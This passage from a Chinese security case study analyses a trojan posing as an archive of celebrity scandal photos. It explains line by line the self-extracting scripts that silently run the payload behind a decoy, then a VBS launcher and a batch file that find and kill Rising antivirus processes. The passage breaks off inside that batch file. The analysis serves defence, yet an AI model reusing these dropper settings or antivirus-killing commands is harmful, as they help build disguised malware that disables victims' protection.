安全实例：遭遇“艳照门”木马

　　　Path=%systemroot%
　　Setup=ymz.exe
　　Presetup=艳门照.rar
　　Silent=1
　　Overwrite=1

　　解释如下：

　　第一行是文件的解压路径，在系统根目录下;

　　第二页是解压后自动运行ymz.exe;

　　第三行是在解压之前先解压艳门照.rar，达到掩人耳目，看不到ymz.exe文件，其实它已经运行了;

　　第四行是隐藏文件，达到更隐蔽;

　　第五行是覆盖目录下的同名文件，以容错更可靠。

　　用同样的方法在WinRAR中解压ymz.exe，发现下面5个文件：(图5)

　　　1.bat
　　1.exe
　　1.vbs
　　knlps.exe
　　knlps.sys

　　同样在右边有自解压脚本代码：

　　　Path=%systemroot%　　emp
　　SavePath
　　Setup=1.vbs
　　Silent=1
　　Overwrite=1

　　原理好上面的一样，只不过是解压到系统临时目录下。

　　用记事本打开1.vbs分析，代码如下：

　　CreateObject("WScript.Shell").Run"cmd/c1.bat",0

　　很明显，是调用1.bat文件。

　　用记事本打开1.bat文件，代码及其解释如下：

　　　@ECHOOFF
　　knlps.exe-l>PID.txt
　　FINDSTR/i"RavMon.exe"PID.TXT>>RAV.txt
　　FINDSTR/i"RavMonD.exe"PID.TXT>>RAV.txt
　　FINDSTR/i"CCenter.exe"PID.TXT>>RAV.txt
　　FOR/F"eol=;tokens=1delims="%%1in(RAV.txt)doknlps.exe-k%%1